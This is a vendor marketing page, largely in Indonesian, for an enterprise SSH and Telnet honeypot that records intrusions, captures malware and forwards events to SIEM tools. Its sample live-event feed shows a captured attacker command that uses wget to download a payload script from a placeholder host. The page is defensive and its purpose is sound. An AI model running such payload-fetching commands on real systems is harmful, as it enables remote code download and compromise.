Attribution profiles53 sessions
Produk ekosistem GCSA
Lindungi layanan perusahaan yang terekspos dengan GCSA HoneyTrace
GCSA HoneyTrace adalah platform deception perusahaan untuk paparan SSH dan Telnet. Platform ini menangkap serangan kredensial, perilaku perintah, pengiriman malware, dan intelijen sumber untuk membantu tim SOC menemukan ancaman lebih awal dan menyimpan bukti yang dapat ditindaklanjuti.
pindai
brute
GCSAhoneypot
sesireplay
malwaresampel
SIEMperistiwa
umpan ioctangkap payloadjalur peringatan: aktif
Risk Overview
Turn exposed-service risk into actionable enterprise alerts
Built for enterprise SOC workflows, the risk view links threat sources, intrusion events, attack trends, and priority nodes so teams can locate high-risk entry points, preserve evidence, and prioritize response.
LoginThreat source IPs42events today
Honeypot intrusions199 high risk
Open alerts72 samples
Event distribution
Active3.051Total events
EventsSourcesShare
Intrusions1.2864242%
Port probes9143130%
Credential attempts6372421%
Ping scans214127%
Threat event trend
Last 7 daysTop 3 nodes by threat source IPs
Last 7 daysshanghai-edge-01185.17.92.44 · 42 events / critical
singapore-telnet-02103.214.10.8 · 29 events / high
frankfurt-ssh-0191.240.118.23 · 18 events / medium
SSH/TelnetCakupan protokol
24/7Penangkapan serangan
SIEMKeluaran siap pakai
Lapisan deception perusahaan
Kurangi titik buta di sekitar layanan terekspos
HoneyTrace membantu tim keamanan memahami siapa yang menyentuh titik akses terekspos, alat dan kredensial apa yang digunakan, serta peristiwa mana yang perlu ditingkatkan ke investigasi SOC.
Deception
Honeypot SSH & Telnet
Paparkan layanan yang meyakinkan untuk menangkap percobaan brute force, aktivitas shell, file unggahan, dan perangkat penyerang tanpa menyentuh sistem produksi.
Forensik
Perekaman sesi
Pertahankan perintah, ketukan tombol, aktivitas sistem berkas, waktu, dan sesi terminal yang dapat diputar ulang untuk alur investigasi dan respons.
Pengumpulan
Penangkapan malware
Kumpulkan sampel dan URL yang dikirim penyusup, perkaya dengan konteks, dan arahkan artefak ke pipeline analisis Anda.
Operasi
Telemetri siap SIEM
Teruskan peristiwa ternormalisasi ke Splunk, Elastic, Sentinel, syslog, webhook, atau data lake untuk peringatan serta korelasi intelijen ancaman.
Federasi
Pemantauan seluruh aliansi
Sebarkan node di permukaan terekspos dan bandingkan perilaku penyerang lintas wilayah, sektor, dan tingkatan infrastruktur.
Deteksi
Sinyal peringatan dini
Ubah interaksi lawan berisik rendah menjadi indikator tepat waktu untuk serangan kredensial, kampanye botnet, dan perilaku pasca-eksploitasi.
Analisis AI
Triase ancaman berbantuan LLM
Kemas sesi, perintah, sampel, IOC, dan konteks menjadi ringkasan yang dapat dibaca LLM agar SOC menilai niat, prioritas, dan opsi respons lebih cepat.
Alur operasional
Dari permukaan terekspos ke bukti dan respons
Deception perusahaan bernilai ketika mempersingkat jalur dari lalu lintas mencurigakan ke bukti, logika deteksi, dan prioritas respons. HoneyTrace menjaga jalur itu terstruktur dan siap SOC.
Paparkan layanan terkendali
Tempatkan node honeypot GCSA di DMZ, cloud, cabang, atau jaringan lab tempat pemindaian dan serangan kredensial datang secara alami.
Tangkap perilaku penyerang
Rekam percobaan autentikasi, shell interaktif, unduhan, payload terunggah, dan urutan perintah dengan konteks sesi penuh.
Perkaya dan arahkan telemetri
Ubah interaksi mentah menjadi indikator, artefak replay, dan peristiwa terstruktur untuk perangkat SOC serta berbagi intelijen aliansi.
Sinyal langsung
10:24:08 ssh auth failed root / 185.17.x.x
10:24:11 command: wget http://host/payload.sh
10:24:14 sample captured sha256: 9f2a...
10:24:17 event routed to SIEM lane
4artefak
12peristiwa
1peringatan
Jaringan integrasi
Keluaran SOC tanpa membangun ulang stack Anda
Teruskan sesi, indikator, metadata payload, dan peristiwa serangan ke alat yang sudah dipakai tim keamanan Anda.
SplunkElastic StackMicrosoft SentinelSyslogWebhooksMISPTheHiveS3 / Data LakeLLM / AI Copilot
Konsultasi penerapan
Bangun lapisan deception terkendali untuk layanan terekspos.
Petakan penempatan, perutean, keluaran telemetri, dan persyaratan berbagi aliansi bersama tim GCSA.